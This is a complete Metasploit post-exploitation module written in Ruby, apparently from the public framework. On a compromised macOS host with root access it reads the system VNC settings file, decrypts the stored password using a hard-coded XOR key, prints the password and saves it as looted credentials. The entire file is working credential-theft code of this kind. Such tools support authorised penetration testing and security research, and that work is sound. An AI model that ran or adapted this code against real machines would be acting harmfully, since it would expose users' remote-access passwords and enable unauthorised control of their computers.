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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::OSX::Priv
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  include Msf::Post::File
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'OS X Display Apple VNC Password',
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        'Description' => %q{
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          This module shows Apple VNC Password from Mac OS X High Sierra.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'Kevin Gonzalvo <interhack[at]gmail.com>'],
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        'Platform' => [ 'osx' ],
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        'SessionTypes' => [ 'meterpreter', 'shell' ]
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      )
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    )
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  end
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  def decrypt_hash(hash)
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    if hash.nil? || hash.empty?
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      return nil
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    end
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    aux = ['1734516E8BA8C5E2FF1C39567390ADCA'].pack('H*')
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    fixedkey = aux.unpack('C*')
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    str_pw = [hash.to_s].pack('H*')
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    array_pwd = str_pw.unpack('C*')
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    str = ''
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    for data in fixedkey
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      str += (data ^ array_pwd.shift).chr
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    end
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    return str.delete("\0")
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  end
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  def run
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    unless is_root?
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      fail_with(Failure::NoAccess, 'Root privileges are required to read VNC password file')
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    end
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    print_status('Checking VNC Password...')
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    vncsettings_path = '/Library/Preferences/com.apple.VNCSettings.txt'
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    passwd_encrypt = read_file(vncsettings_path.to_s)
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    final_passwd = decrypt_hash(passwd_encrypt.to_s)
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    if !final_passwd.nil?
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      print_good("Password Found: #{final_passwd}")
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      pass_file = store_loot('osx.vnc.password', 'text/plain', session, final_passwd, 'passwd.pwd', 'OSX VNC Password')
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      print_good("Password data stored as loot in: #{pass_file}")
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      credential_data = {
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        origin_type: :session,
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        session_id: session_db_id,
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        post_reference_name: fullname,
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        private_type: :password,
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        private_data: final_passwd.to_s,
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        workspace_id: myworkspace_id
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      }
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      create_credential(credential_data)
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    else
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      print_error('Password not found')
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    end
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  end
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end
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